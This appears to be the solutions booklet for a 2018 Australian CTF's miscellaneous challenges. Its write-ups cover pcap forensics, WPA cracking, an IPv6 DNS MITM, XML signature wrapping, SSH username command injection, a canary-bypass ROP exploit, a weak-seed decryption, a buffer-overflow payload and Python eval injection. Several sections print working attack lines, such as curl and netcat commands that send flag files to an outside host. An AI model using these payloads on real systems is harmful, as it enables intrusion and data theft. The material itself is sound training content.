**TABLE OF CONTENTS**

Overview .......................................................................................................................... 2
Challenge: Network Basic ............................................................................................... 3
  Challenge Description ................................................................................................. 3
  Designed Solution ....................................................................................................... 3
  Writeup .......................................................................................................................... 3
Challenge: Network Degree Part 1 ................................................................................ 4
  Challenge Description ................................................................................................. 4
  Designed Solution ....................................................................................................... 4
  Writeup .......................................................................................................................... 4
Challenge: Network Degree Part 2 ................................................................................ 5
  Challenge Description ................................................................................................. 5
  Designed Solution ....................................................................................................... 5
  Writeup .......................................................................................................................... 5
Challenge: Network Forensic Wifi Capture ................................................................. 6
  Challenge Description ................................................................................................. 6
  Designed Solution ....................................................................................................... 6
  Writeup .......................................................................................................................... 6
Challenge: Sideways ........................................................................................................ 7
  Challenge Description ................................................................................................. 7
  Designed Solution ....................................................................................................... 7
  Writeup .......................................................................................................................... 7
Challenge: Where’s my padlock..................................................................................... 8
  Challenge Description ................................................................................................. 8
  Designed Solution ....................................................................................................... 8
  Writeup .......................................................................................................................... 8
Challenge: Exploit kirbySSH ....................................................................................... 9
  Challenge Description ................................................................................................. 9
  Designed Solution ....................................................................................................... 9
  Writeup .......................................................................................................................... 9
Challenge: Exploit Brokedb ......................................................................................... 10
  Challenge Description ................................................................................................. 10
  Designed Solution ....................................................................................................... 10
OVERVIEW

MISC as in miscellaneous. A set of challenges covering network, crypto, python, and exploits. Further solutions and write-ups to MISC challenges 2018 to be released.
CHALLENGE: NETWORK BASIC

Challenge Description

Here's a pcap of a brute force attempt against a webserver.

See if you can get to the flag at http://10.13.37.17:9055/flag.html

Hint: There's a lot of 401s

Designed Solution

The pcap contains a successful brute force logon which reveals credentials to then logon yourself.

Writeup

Using Wireshark filters to find the brute force logon attempt that worked.

A quick way to find the successful logon is there is only one http server response 200 in the pcap - packet 24488

The corresponding request was packet 24480 using credentials admin:Mellon

Which you can use to retrieve the flag by connection to the server
CHALLENGE: NETWORK DEGREE PART 1

Challenge Description

While sniffing the network we discovered communication with some kind of education RESTful web service hosted at http://10.13.37.17:9081

Check out the http://10.13.37.17:9083/network-degree-part1.pcap

I wonder if there's anything interesting information we can expose?

Hint: Find the advisor

Designed Solution

The pcap file contains HTTP requests to a REST API.

Use the API calls to find the advisor whose degree was obtained from the school possessing the flag.

Writeup

```markdown
## API

* The `/students` call will give a list of all students. Each student is listed as a json structure that includes the student's id, first and last name, and the degree obtained. Each degree includes the date awarded, the philosophia studied, the school the degree was obtained from, and the advisor who confirmed the degree. Each advisor includes the advisor's id and their first and last name.

* The `/students/{studentId}` call will give the same information for the student with the specific student id. Ex: `/students/c258d9b0-d84c-4b78-9790-2f567bdacf37`.

* The `/advisors/{advisorId}` call will give the advisor's id, first and last name, and their degree information for the advisor with the specific advisor id. Ex: `/advisors/c258d9b0-d84c-4b78-9790-2f567bdacf37`.

## Solution

Johnny Rotten is the advisor whose degree contains the flag.
```
CHALLENGE: NETWORK DEGREE PART 2

Challenge Description

It looks like the developers of the Degree part I have secured the [http://10.13.37.9082](http://10.13.37.9082) RESTful web service using some sort of token-based authentication.

We have captured some traffic going to the new web service in [http://10.13.37.9083/network-degree-part2.pcap](http://10.13.37.9083/network-degree-part2.pcap)

We also saw one of the developers post a question on a Stack Overflow that included some example code of a XML Signature validation function they have implemented. [http://10.13.37.9083/ValidateSignature.java](http://10.13.37.9083/ValidateSignature.java)

Let’s see if we can find a way to authenticate as another user and expose some sensitive data.

Hint: Can you authenticate as an advisor

Designed Solution

The pcap file contains authenticated HTTP requests to a REST API.

Modify the signed XML object to authenticate as the advisor whose degree was obtained from the school possessing the flag.

Writeup

## API

* The `/students` call will give a list of all students. Each student is listed as a json structure that includes the student’s id, first and last name, and the degree obtained. Each degree includes the date awarded, the philosophy studied, the school the degree was obtained from, and the advisor who confirmed the degree. Each advisor includes the advisor's id and their first and last name. This call requires a current username and password for any student.

* The `/students/{studentId}` call will give the same information for the student with the specific studentId. Ex: `/students/c258d9b0-d84c-4b78-9790-2f567bdacf37`. This call requires a current username and password for the student with the specific studentId.

* The `/advisors/{advisorId}` call will give the advisor's id, first and last name, and their degree information for the advisor with the specific advisorId. Ex: `/advisors/c258d9b0-d84c-4b78-9790-2f567bdacf37`. This call requires a current username and password for the advisor with the specific advisorId.

* The `/token` call will check the signature of the XML Object in the body and if valid generate and return a new password for the student whose name, `firstName.lastName`, appears in the `userName` field of the XML Object.

## Solution

The `/token` API is vulnerable to an XML wrapping attack. By taking XML Object found in the body of a `/token` request in the PCAP file, prepending a new `userName` element, and wrapping all of it in a new `Root` element tag, you can authenticate as any user. For each student, authenticate as their advisor and call `/advisors/{advisorId}` to check their degree's school for the flag.
CHALLENGE: NETWORK FORENSIC WIFI CAPTURE

Challenge Description

This is a wifi capture we obtained while briefly in our lab. [http://10.13.37.17:9083/network-wifi-capture.cap](http://10.13.37.17:9083/network-wifi-capture.cap)

Someone downloaded the flag while we were capturing. Unfortunately, we haven't had time to crack it yet. Good luck!

**Hint**: Simple passwords are simple.

Designed Solution

Identify what wireless encryption is being used and crack it to allow Wireshark to decode the traffic thus revealing a flag.

Writeup

Wireshark or a tool such as [aircrack-ng](https://aircrack-ng.org) will reveal WPA is used

Using [aircrack-ng](https://aircrack-ng.org) with the shipping password list will reveal the WPA password

Use the WPA password in [Wireshark](https://wireshark.org) to decrypt the traffic

Looking at the HTTP traffic, there is a *GET* for *flag.html*

The flag is in the response
CHALLENGE: SIDEWAYS

Challenge Description

There some recon happening on one of the breakoutbox networks.
The flag is the frame number of the successful attempt. See recon.zip
Files:
Hint: Discovered a service with simple credentials

Designed Solution

Identify the recon as a simple nmap scan and the host. Looking further at this attacker host then shows brute force attempts against port 22 (SSH). One of these is successful and then a longer lived SSH session follows.

Writeup

This is a pcap of network traffic (with some missed frames).
Using Wireshark, you will see some connection attempts to some uncommon ports – this is the attacker port scanning.

Port 22 is found open on some hosts.
(Hyrdra) Brute force attempts against these hosts
There was a success against one host (admin:password)
The attacker then SSH to that host and looks around. This is the session we want. The first frame from the server.
CHALLENGE: Where’s my padlock

Challenge Description
An alert user noticed the padlock icon for the Breakoutbox room reservation server disappeared.
When you understand what happened (see wmp.zip), describe how you would prevent this type of attack against this particular user’s machine... but you can’t touch the machine.....at all. (Three recommendations for full points)
Files:
Hint: We run an IPv4 network right?

Designed Solution
The production network is IPv4 but the Windows 10 clients are enabled for IPv6 by default. The attacker provides sufficient IPv6 network configuration information to the clients who by default prefer IPv6 over IPv4 and hence MITM.

Writeup
Use Wireshark to analyse the PCAP file.
The production network uses IPv4 but the hosts (Win10) are also enabled for IPv6
The local attacker announces via RA/ND that clients should use DHCPv6 to obtain a DNS6 address. Note the attacker does not advertise specifically as an IPv6 router as they do not want all traffic just one site (breakoutbox.com)
The attacker provides a DNS6 address using DHCP6
The victim hosts will try DNS over IPv6 before IPv4. The attacker only responds to DNS requests for www.breakoutbox.com with their IPv4 address on 172.16.1.9. (A DNS6 request with an IPv4 payload response).
The fake server is just http hence the user noticing “no padlock”. There was no downgrade attack or similar.
As a clue, the cleartext “fakesite” and the name of the attack tool “bettercap” are in the http response from the fake server to make it easier to confirm the attacker and work backwards if needed.
There is no flag for this question but rather how would they prevent it.
Disabling IPv6 on the hosts is not an option as they can’t touch the hosts.
1. Deploy IPv6 (you can’t control what you haven’t deployed yourself.
2. RA Guard (although the pcap does not have RA in it, you need to do this plus the attack tool if doing unsolicited ND advertisements with the OTHER bit set to force client to send DHCPv6 to obtain DNS
3. DHCPv6 Guard – don’t allow the attacker to inject themselves as a DNS server.
CHALLENGE: EXPLOIT KIRBYSSH

Challenge Description
A thrilling challenge for only the bravest, how do you exploit an SSH server you cannot log in to. Running on 10.13.37.17:9002, there is a flag file that is lying in the same directory.

This exercise is based off a true story.

Hint:

Designed Solution
Exploit a blind command injection in the username of the SSH server

Writeup
There's a (blind) command injection in the username of the SSH server.
Example solution, where MY_MACHINE is a host/IP reachable from the CTF box.
You could do a connect-back shell and start messing stuff up, but this will just get the flag:

```bash
ssh -p 9002 10.13.37.17 -l "`curl${IFS}MY_MACHINE/$(cat${IFS}flag.txt)`"
```
CHALLENGE: EXPLOIT BROKEDB

Challenge Description

This database is clearly broken..... but it's using all the modern mitigation techniques, so it should be secure, right?

nc 10.13.37.17 9001

See http://10.13.37.17:9083/brokedb.tar.gz

Hint: Overflow

Designed Solution

Writeup

Tools of the trade

This challenge is written up using radare2 (r2).

First reconnaissance

I won't go into the details of the source code neither of the protocol, and will concentrate on the relevant parts of the attack. If you haven't looked at the challenge itself, I would recommend to take some time and do it now before you continue reading.

The binary is a 64bit ELF executable, that has been built with all the (nowadays) standard mitigation mechanisms.

We have the Makefile, but let's stick with the real target, and checking some binary info with r2 on the "brokedb" executable returns:

```
[0x00001160]> ii~pic,canary,nx
pic     true
canary  true
nx      true
```

Meaning that it will be:
- fully ASLR-ed: stack, heap, libraries, and because of the "pic/pie", even the target sections
- canary: some "minefield" on the stack, making buffer overflow exploitation more difficult
- nx: for our matter, the stack won't be executable by default, so no easy shellcode

But the binary has not been stripped, and we have the source code anyway, so the reversing will not be the difficult part.

Phase 1 - The vulnerability

The functions of interest are (in calling order): get_client(...) -> check_login(...) -> read_login(...). The first try was just to bypass the authentication and continue from there. Well, that was not the way (I tried).

But this was the right place to dig.

When reading the login and the password, the protocol is that the client sends the length of the next field to be sent. This is the sort of things that happen all the time on protocols based on TLV (Type/Tag, Length, Value).

The length is then checked, but there's a classic integer overflow:

```c
uint8_t total_size = 0;
 [...] 
read(sockfd, &li->uname_len, 1);

total_size = li->uname_len + 1;
if (total_size > MAX_LOGIN_SIZE) {
```
return -1;
}

The same code is also found for the password.

MAX_LOGIN_SIZE (used for username and password) is 150, but if we send for the length of the field the value 255, the total_size will "wrap around" the value of uint8_t: 255+1= 0

The login info we're going to overflow is part of the stack frame of the check_login function, but we're writing in it in read_login. So if we take control of the return address, we'll get execution control when we return from check_login. So let's have a look at the stack structure especially from li (the login info) to the return address.

renaming the variables on the stack:

; var int sockfd @ rbp -0x154
; var login_info_t li @ rbp -0x150
; var int local_b9h @ rbp -0xb9
; var int local_20h @ rbp -0x20
; var int local_8h @ rbp -0x8

After these on the stack, we have the Saved Base Pointer and the Return Address.

So we have all our fields, but what do we have at rbp-0x8? The canary!

Because of it, just overflowing the stack to put some pointer in the return address is not enough. The canary is checked before returning from the function.

Here is a very simplified view (ignoring some alignment bytes at the end of the login info and the hash):

<table>
<thead>
<tr>
<th>Username length</th>
<th>Password length</th>
</tr>
</thead>
<tbody>
<tr>
<td>Username 150B</td>
<td>Password 150B</td>
</tr>
<tr>
<td>Hash 20B</td>
<td>Canary</td>
</tr>
<tr>
<td>1B</td>
<td>1B</td>
</tr>
</tbody>
</table>

So now is the time to get to Phase 2.

**Phase 2 - Canary bypass and memory mapping**

An important point is that for each new client session, the server is "fork()-ing" but the memory mapping stays the same for all the child processes. Even more important, the canary expected at the end of the same call will be the same for each of the spawned client sessions. Of course, if the brokedb server process is totally restarted, the new one will have new canary and new memory mapping.
The idea here is to brute force the canary, byte by byte. In order to do that, we'll abuse the **Username Length** to overflow the **Username** for the only purpose to change the **Password Length** to exact size needed to overflow **Password** and change the **Canary**, byte by byte (see the ascii diagram above to follow this sentence). For each try, if the server is not responding and the session has closed, that's not the right guess. If we return safely (and get the message that we have the wrong login info), we got the right byte, and now can try the next one, adding one to the sent Password Length and adding a new byte. After an average of 128*8 tries we get the canary.

But let's not stop here.

If we continue to brute-force the bytes using the same technique, we'll get the **Saved RBP**, that will get us the addresses we will need on the stack, bypassing ASLR for the Stack.

And after that, we get Return Address. Since we know the offset of the expected return address (0x2158, the address found in the disassembly just after the call to check_login), we calculate the start of the .text section as: **Start_Text = Return_Address - 0x2158**.

We effectively bypassed ASLR for broke.db binary.

We're now able to change the Return Address to any address. In order to check if everything is fine so far, we'll just replace the return address to **Start_Text+0x21e9** to "return" to this line:

```asm
0x000021e9  8b45ec    mov    eax, dword [rbp - 0x14]
0x000021ec  89c7     mov    edi, eax
0x000021ee  e81f7f5ff  call    sym.send_motd  ;[3]
```

And that should return the motd another time.

From this point forward, there are several different strategies to solve the challenge. Here is only one of them.

**Phase 3 - Leaking libc address**

I choose what looked to me the most direct way. Since we were given the libc.so and the main executable had very few useful gadgets, let's call some libc functions. But we don't know where the libc library has been loaded. So, the logical continuation was to leak some libc address, and then to calculate the offset of the other libc routines/gadgets we plan to use.

Since we retrieved the virtual address of some known code of the executable, it's possible to calculate the address of the **relocation** entry of some function used by broke.db, but implemented by libc.so (e.g. imported function). Any function will do, as long as we know where is its entry in the .got.plt section, and we know the relative address of its implementation in the .so.

But first thing first; in order to send it back to our client, we will use **write()**. **write()** needs 3 parameters. In 32 bit, we would need to put the 3 arguments on the stack, but in 64 bits, these 3 arguments are passed through RDI, RSI and RDX. The usual way to load them as part of an ROP exploitation is to have the arguments on the stack, and use some POP-RET gadgets to load them into registers. But there is no obvious way to control edx in this program (well, perhaps by the assignment of some very big number, but that is not ideal).

After some more research, it turned out that the simplest way to call it was by using this block:

```asm
0x00001b8d  26% 300 broke.db> pd $r @ sym.send_entry+52 # 0x1b8d
0x00001b8d  488b45e0    mov    rax, qword [rbp - local_20h]
0x00001b91  488b4810    lea    rcx, [rax + 0x10]  ;[1] 0x10
0x00001b95  8b45ec    mov    eax, dword [rbp - local_14h]
0x00001b98  ba84000000  mov    edx, 4
0x00001b9d  4889ce    mov    rsi, rcx
0x00001ba0  89c7     mov    edi, eax
0x00001ba2  e89f5ffff  call    sym.imp.write  ;[2]
```

edx is statically set to 4. That means that this call will write 4 bytes
edi and rsi are set by value found on the stack, referenced by rbp. Now, we can easily calculate where the rbp will point to, at the
time of the return from `check_login`. And it’s 40 bytes, or 5 quad words (qwords), after the Return Address itself.  
So RSI - which is the parameter for the buffer to write() - will be set by the qword on the stack just after the return address (well, +0x10; so we’ll have to subtract 0x10 from the address of the buffer we want to leak).  
And edi - which is the file descriptor of write() - by the qword just after on the stack. Convenient. The file descriptor for the network socket is 4. 

Now back to .got.plt section. We choose any function implemented in libc. For example, `write()` (i.e. we’ll use `write()` to leak its own address).  

We put on the stack after the Return Address the virtual address of the 4 bytes we want to leak. In our case, since we want the whole address, we’ll run once with `Start_Text+0x203E28-0x10`, and once with `Start_Text+0x203E28-0x10+4`.  

The result of course is little endian.  
We know have the address of a known function within libc, and since we have the file libc-2.19.so, we known the offset between this address and any piece of code we want to call within libc.  

```
+---------------------------------------------+ | Start_Text+0x21e9 | ----> Address of the block that calls write and get all the params from the stack  
+---------------------------------------------+ | Start_Text+0x203E28-0x10 | ----> Buffer (address of the entry of write() in .got.plt) -> RSI;  
+---------------------------------------------+ | 0x0000000040000000  | ----> Add 4 and run again in order to get the whole address  
+---------------------------------------------+ | 0x0000000000000000  | ----> File descriptor=0x4 -> EDI  
```

We just bypassed ASLR of the imported library. 

**Phase 4 - Make the call**

The last mile is easy. Just call system() or execv() with the right string. I did it with execv(), but system() is more direct: let’s get the delta between write() and system() addresses from libc (use within "r2 -A libc-19.so"):

```
[0x000021c50]> is-name=write$  
vaddr=0x000d9610 paddr=0x00d9610 ord=2137 fwd=NONE sz=90 bind=UNKNOWN type=FUNC name=write  
[0x000021c50]> is-name=system$  
vaddr=0x008414f0 paddr=0x008414f0 ord=1337 fwd=NONE sz=45 bind=UNKNOWN type=FUNC name=system  
```

Using the address leaked in Phase 3, we calculate the address of System().  
In order to pass the argument, we look for a POP RDI; RET. So in "r2 -A brokedb":

```
[0x00002ca99]> "/R/ pop rdi;ret$"  
0x000030b3 5f pop rdi  
0x000030b4 c3 ret  
```

In order to exfiltrate the flag, we open a netcat listener on a machine (nc -l), and we send the flag by the network.  
For example, we can use system("cat flag.txt | nc 123.45.67.89 1234") , assuming that I opened a listener on a machine 123.45.67.89 on port 1234.
To sum up, we pass in the buffer (for example in pace of the username) the (zero terminated) string "cat flag.txt | nc 123.45.67.89 1234\x00", and send in place of the Return Address, the mini ROP chain:

```
+-------------------------------+
| Address of POP RDI|RET    |
+-------------------------------+
| Address of the cat&nc string |
+-------------------------------+
| Address of system()         |
+-------------------------------+
```

And that should send the flag right to the listener.
CHALLENGE: PY DISKRYPTOR

Challenge Description
Diskryptor’s manager server crashed and they lost all the keys.
This might help [http://10.13.37.17:9083/065ba433275202ae1c49b0810825c4ec](http://10.13.37.17:9083/065ba433275202ae1c49b0810825c4ec)
Hint: Is there a problem with the seed?

Designed Solution
Identify a flaw in the seeding of rng

Writeup
From the source of the program, it is clear that it for every file in the folder named flag, it
- Generates a random key
- Generates a random IV
- Generates a random file name.

Encrypts the file and saves the file with the newly generated random file name. The first 8 bytes in the file is the original size in little-endian. Next 16 are IV. Then comes the encrypted data.

There doesn't seem to be any weakness here except may be the random key, IV and filename generated. The random module of python generates Pseudo-Random-Numbers. If someone knew the seed, he/she would be able to derive the every random number generated by the module. As you can see below, the sequence of random numbers are same when the seed is same.

```python
>>> random.seed(214872594283)
>>> random.randint(0, 1000000)
499530
>>> random.randint(0, 1000000)
243198
>>> random.seed(214872594283)
>>> random.randint(0, 1000000)
499530
>>> random.randint(0, 1000000)
243198
```

The diskryptor program doesn’t seed random explicitly. Meaning there must be a default way it is seeded. Let’s look at snippets from the source of random module of Python.

https://github.com/python/cpython/blob/2.7/Lib/random.py

```python
from os import urandom as _urandom
def seed(self, a=None):
    if a is None:
        try:
            # Seed with enough bytes to span the 19937 bit
            # state space for the Mersenne Twister
            a = long(_hexlify(_urandom(2500)), 16)
        except NotImplementedError:
            import time
            a = long(time.time() * 256) # use fractional seconds
```

Cyber Security Challenge Australia © 2018 - Miscellaneous Solutions   page 15
super(Random, self).seed(a)
A quick google search about os.urandom says that it tied with OS resources (/dev/urandom to be exact) is decently cryptographically secure. But if it is not implemented, the next option is just based on the current time, that is the time when the files were encrypted. Since we have the zip of the folder, we know when the encrypted files were created.

But how do we know that urandom was not used to encrypt the files. The hint is right there in the first line of the source.

#!/usr/bin/env python2.3
If you would have gone to the source of the random module through its documentation, you would have seen the following line in the doc of seed function.

Changed in version 2.4: formerly, operating system resources were not used.

Indeed, the 2.3 version did not have urandom.
So we just have try every possible seed for the 1 second period when the files were created/encrypted. There could be only 256 possibilities as the actual seed is long(time.time())*256

The solution:

considers all three timestamps associated with every file; mtime, atime and ctime (I didn't now which one to use).
It then generates the random numbers in the same sequence as in the diskcryptor's source file.
Note that this needs to be done for every file as you don't know which file was encrypted first.
As soon as you a filename matches, you have your seed. Now you can decrypt every file.
**CHALLENGE: PY MESSAGE BOARD**

**Challenge Description**

The message board [http://10.13.37.17:9083/53524d31f1c467b2225a4795432a5fc2](http://10.13.37.17:9083/53524d31f1c467b2225a4795432a5fc2) will give out a flag when it gets its trillionth message. Can you be the one to get it?

The message board listens on 10.13.37.17:9875

This client program is used to send messages to the board.

[http://10.13.37.17:9083/2a6d051b7ee1e9c47f8883c70604e1cd](http://10.13.37.17:9083/2a6d051b7ee1e9c47f8883c70604e1cd)

**Hint**: The client program is there just to tell you the format in which messages should be sent.

**Designed Solution**

By analysing the (server program)(msg) in GDB, one can find the integer overflow vulnerability.

**Writeup**

The client program is there just to tell you the format in which messages should be sent. The first two bytes of the data to be sent should be a short integer (big-endian) representing the size of the null terminated message string. Messages of length more than 100 are not allowed.

By analysing the (server program)(msg) in GDB, one can find the integer overflow vulnerability. The program doesn't verify whether or not the length field sent by the client is correct. It just verifies that the indicated length is not more than 102 (including the length bytes) and then it just subtracts 2 from the indicated length to get the message length and then goes into a fgetc loop to read the entire message.

If one was to send the indicated length as 1, the program will calculate effective length of string as huge positive value because 1 - 2 = -1 is a huge positive value in unsigned arithmetic (The program uses a unsigned var to store this value).

Using this vulnerability one has to overflow the buffer and overwrite the return address with the address of function give_flag.

The overflow is done in a loop, and while overflowing, the loop variables will also be overwritten. So one has to make sure that the loop variables are overwritten with values which makes it continue to loop till the location of return address.

We also don't want program to crash after executing give_flag as the transport application (socat is used here) may fail send the stdout if the program crashes. So one has to overwrite the previous return address too with the address of __libc_csu_init, so that the program exits gracefully.

So,

```python
>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect((sys.argv[1], int(sys.argv[2])))
>>> s.send('x00\x01' + 'a'*102 + '\x82\x00aaaa\x6d\x00\x00aaaaaaa' + '\x28\x07\x40\x00\x00\x00\x00\x00\x00\x80\x40')
132
>>> print s.recv(1024)
Congratulations. This is our trillionth message. You get a flag!!!
```

The \x82\x00 and \x6d\x00\x00 are for loop variables msg_len and i respectively. The \x00\x00\x00\x40 is the address of __libc_csu_init
CHALLENGE: PY ONLINE CALCULATOR

Challenge Description

There is a file containing the flag on the web server that hosts a popular online calculator at http://10.13.37.17:8675

We have the source file of the server side script at http://10.13.37.17:9083/calc.py.txt

Hint: Input checks...or not?

Designed Solution

Writeup

As seen in source file, the input is passed to eval which will accept any python expression.

The easiest way to solve it would be to do a os.listdir.

But you can’t pass import os to eval as import is a statement, not expression. However, a builtin __import__ is available in python that works like an expression (__import__ actually invoked by import in backend).

Input:
__import__('os').listdir(__import__('os').getcwd())

Output on the web is seen as:
['nothing_to_see_here', 'calc.py']

Then,

Input:
open('nothing_to_see_here').read()

Output on the web is seen as:

The flag is.....